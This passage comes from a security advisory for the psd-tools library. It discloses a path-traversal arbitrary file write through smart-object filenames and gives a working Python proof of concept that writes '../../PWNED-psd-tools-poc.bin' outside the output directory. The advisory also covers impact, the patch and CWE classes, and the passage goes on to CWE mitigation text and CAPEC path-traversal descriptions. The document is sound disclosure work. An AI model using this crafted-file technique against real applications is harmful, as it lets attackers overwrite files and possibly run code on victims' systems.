\u2014 `control` is a bare basename, `exploit` is `../../PWNED-psd-tools-poc.bin` \u2014 then extracts each like a consumer would:\n\n```python\nimport os, shutil, tempfile\nfrom psd_tools import PSDImage\nfrom psd_tools.constants import Tag\n\nMARKER = b\"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\\n\"\nNAMES = {\"control\": \"embedded-export.bin\", \"exploit\": \"../../PWNED-psd-tools-poc.bin\"}\n\ndef craft(name, out):\n psd = PSDImage.open(os.path.join(os.path.dirname(__file__), \"base.psd\"))\n uuid = next(l.smart_object.unique_id for l in psd.descendants()\n if l.kind == \"smartobject\" and l.smart_object.kind == \"data\")\n for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):\n for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:\n if item.uuid.strip(\"\\x00\") == uuid:\n item.filename, item.data = name, MARKER\n psd.save(out)\n\ndef extract(psd_path, outdir, watch):\n psd = PSDImage.open(psd_path)\n before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}\n cwd = os.getcwd(); os.chdir(outdir)\n try:\n for l in psd.descendants():\n if l.kind == \"smartobject\" and l.smart_object.kind == \"data\":\n l.smart_object.save()\n finally:\n os.chdir(cwd)\n after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}\n return sorted(after - before)\n\ndef main():\n tmp = tempfile.mkdtemp(prefix=\"poc_\")\n try:\n escaped = {}\n for tag, name in NAMES.items():\n psd = os.path.join(tmp, tag + \".psd\"); craft(name, psd)\n so = next(l.smart_object for l in PSDImage.open(psd).descendants()\n if l.kind == \"smartobject\" and l.smart_object.kind == \"data\")\n print(f\"[{tag}] parsed embedded name = {so.filename!r}\")\n outdir = os.path.join(tmp, tag, \"app\", \"extracted\"); os.makedirs(outdir)\n written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)\n esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc\n for w in written:\n print(f\"[{tag}] wrote {w} {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}\")\n ok = (not escaped[\"control\"] and escaped[\"exploit\"]\n and all(open(w, \"rb\").read() == MARKER for w in escaped[\"exploit\"]))\n print(\"\\nVERDICT:\", \"ARBITRARY FILE WRITE CONFIRMED\" if ok else \"not reproduced\")\n return 0 if ok else 1\n finally:\n shutil.rmtree(tmp, ignore_errors=True)\n\nraise SystemExit(main())\n```\n\nOutput (`psd-tools 1.17.0`):\n\n```\n[control] parsed embedded name = \u0027embedded-export.bin\u0027\n[control] wrote .../poc_*/control/app/extracted/embedded-export.bin inside output dir\n[exploit] parsed embedded name = \u0027../../PWNED-psd-tools-poc.bin\u0027\n[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin OUTSIDE output dir\n\nVERDICT: ARBITRARY FILE WRITE CONFIRMED\n```\n\nAn absolute embedded name (e.g. `/home/user/.bashrc`) is honoured the same way.\n\n## Impact\n\nAny application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via `SmartObject.save()` can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory \u2014 no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.\n\nFor external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.\n\n## Severity\n\n**Moderate** for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.\n\n## Patch\n\nFixed in **v1.17.1** (PR #657). Changes to `src/psd_tools/api/smart_object.py`:\n\n- **`save()`**: strips directory components from the embedded name via `os.path.basename()`, writes only into a caller-supplied `directory` (defaults to CWD), and verifies the resolved path stays inside that directory via `os.path.realpath()` + `os.path.commonpath()`. A new `external_dir` parameter is propagated to `open()` for external-kind objects to constrain the read source.\n- **`open()`**: when `external_dir` is provided, a `fullPath` resolving outside it is silently ignored (falls through to `relPath`); a `relPath` escaping the directory raises `ValueError`.\n\n## Weaknesses\n\nCWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).\n\n## Resources\n\n- Fix PR: https://github.com/psd-tools/psd-tools/pull/657\n- Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1\n- Affected source (tag `v1.17.0`): `src/psd_tools/api/smart_object.py:170-179`\n (sink), `:62-67` (untrusted `filename`); `src/psd_tools/psd/linked_layer.py:100`\n (source).\n- Distinct in class from the published advisories (GHSA-24p2-j2jr-386w \u2014\n compression resource exhaustion; GHSA-22jr-vc7j-g762 \u2014 buffer overflow). The\n `save()` write logic is unchanged since the `SmartObject` API was introduced,\n so all releases exposing it are affected.",
"id": "GHSA-2rmg-vrx8-9j2f",
"modified": "2026-07-09T23:20:47Z",
"published": "2026-07-09T23:20:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/psd-tools/psd-tools/security/advisories/GHSA-2rmg-vrx8-9j2f"
},
{
"type": "WEB",
"url": "https://github.com/psd-tools/psd-tools/pull/657"
},
{
"type": "PACKAGE",
"url": "https://github.com/psd-tools/psd-tools"
},
{
"type": "WEB",
"url": "http://github.com/psd-tools/psd-tools/releases/tag/v1.17.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "psd-tools vulnerable to arbitrary file write via smart-object filename"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.